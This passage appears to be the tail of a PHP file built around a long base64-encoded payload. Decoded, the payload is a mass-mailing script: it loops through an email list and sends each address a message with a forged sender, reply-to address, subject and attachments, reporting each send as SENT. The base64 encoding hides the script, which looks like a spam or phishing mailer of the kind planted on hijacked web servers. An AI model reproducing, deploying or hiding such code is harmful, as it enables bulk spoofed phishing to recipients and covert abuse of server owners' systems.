iPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy01Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICAgICAgaWYoIW5pbmpheE1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1kZWZhdWx0Ij5JbmNvcnJlY3QgRW1haWw8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgICAgIHByaW50ICI8YnI+XHJcbiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAkbWFpbCA9IG5ldyBQSFBNYWlsZXI7CiAgICAgICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShuaW5qYXhDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxuaW5qYXhDbGVhcigkc2VuZGVyTmFtZSwkZW1haWwpKTsKICAgICAgICAgICAgICAgICRtYWlsLT5hZGRSZXBseVRvKG5pbmpheENsZWFyKCRyZXBseVRvLCRlbWFpbCkpOwogICAgICAgICAgICAgICAgJG1haWwtPmFkZEFkZHJlc3MoJGVtYWlsKTsKICAgICAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbmluamF4Q2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICAgICAgICAgICAgICRzdHJzcyA9IG5pbmpheENsZWFyKCRtZXNzYWdlTGV0dGVyLCRlbWFpbCk7CiAgICAgICAgICAgICAgICAkbWFpbC0+Qm9keSA9ICBuaW5qYXhDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRlbmNvZGU7CiAgICAgICAgICAgICAgICBmb3IoJGk9MDsgJGk8Y291bnQoJF9GSUxFU1snYXR0YWNobWVudCddWyduYW1lJ10pOyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsndG1wX25hbWUnXVskaV0gIT0gIiIpewogICAgICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpeyRtYWlsLT5Jc0hUTUwodHJ1ZSk7fQogICAgICAgICAgICAgICAgZWxzZSB7JG1haWwtPklzSFRNTChmYWxzZSk7fQogICAgICAgICAgICAgICAgaWYgKCEkbWFpbC0+c2VuZCgpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1kZWZhdWx0Ij4nLiRtYWlsLT5FcnJvckluZm8uJzwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1zdWNjZXNzIj5TRU5UPC9zcGFuPjwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR4Kys7CiAgICAgICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIHByaW50ICc8YnI+PGhyPjxicj48YnI+PC9ib2R5Pic7CiAgICAgICAgZGllKCk7CgogICAgfSAKCiAgICAvL25vIHNtdHAKICAgIHByaW50ICcgICAgPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4nOwogICAgJG1haWxsaXN0PWV4cGxvZGUoIlxyXG4iLCAkZW1haWxMaXN0KTsKICAgICRuPWNvdW50KCRtYWlsbGlzdCk7CiAgICAkeCA9MTsKICAgIGZvcmVhY2ggKCRtYWlsbGlzdCBhcyAkZW1haWwgKSB7CiAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbC1sZy0xIj5bJy4keC4nLycuJG4uJ108L2Rpdj48ZGl2IGNsYXNzPSJjb2wtbGctNSI+Jy4kZW1haWwuJzwvZGl2Pic7CiAgICAgICAgaWYoIW5pbmpheE1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShuaW5qYXhDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxuaW5qYXhDbGVhcigkc2VuZGVyTmFtZSwkZW1haWwpKTsKICAgICAgICAgICAgJG1haWwtPmFkZFJlcGx5VG8obmluamF4Q2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbmluamF4Q2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICAgICAgICAgJG1haWwtPkJvZHkgPSAgbmluamF4Q2xlYXIoJG1lc3NhZ2VMZXR0ZXIsJGVtYWlsKTsKICAgICAgICAgICAgJG1haWwtPkNoYXJTZXQgPSAkZW5jb2RlOwogICAgICAgICAgICBmb3IoJGk9MDsgJGk8Y291bnQoJF9GSUxFU1snYXR0YWNobWVudCddWyduYW1lJ10pOyAkaSsrKSB7CiAgICAgICAgICAgICAgICBpZiAoJF9GSUxFU1snYXR0YWNobWVudCddWyd0bXBfbmFtZSddWyRpXSAhPSAiIil7CiAgICAgICAgICAgICAgICAgICAgJG1haWwtPkFkZEF0dGFjaG1lbnQoJF9GSUxFU1snYXR0YWNobWVudCddWyd0bXBfbmFtZSddWyRpXSwkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXVskaV0pOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgfQogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpeyRtYWlsLT5Jc0hUTUwodHJ1ZSk7fQogICAgICAgICAgICBlbHNlIHskbWFpbC0+SXNIVE1MKGZhbHNlKTt9CiAgICAgICAgICAgIGlmICghJG1haWwtPnNlbmQoKSkgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1kZWZhdWx0Ij4nLiRtYWlsLT5FcnJvckluZm8uJzwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1zdWNjZXNzIj5TRU5UPC9zcGFuPjwvZGl2Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcHJpbnQgIjxicj5cclxuIjsKICAgICAgICB9CiAgICAgICAgJHgrKzsKICAgICAgICBmb3IoJGsgPSAwOyAkayA8IDQwMDAwOyAkaysrKSB7ZWNobyAnICc7fQogICAgfQoKfQpwcmludCAnPGJyPjxocj48YnI+PGJyPjwvYm9keT4nOw=="));
?>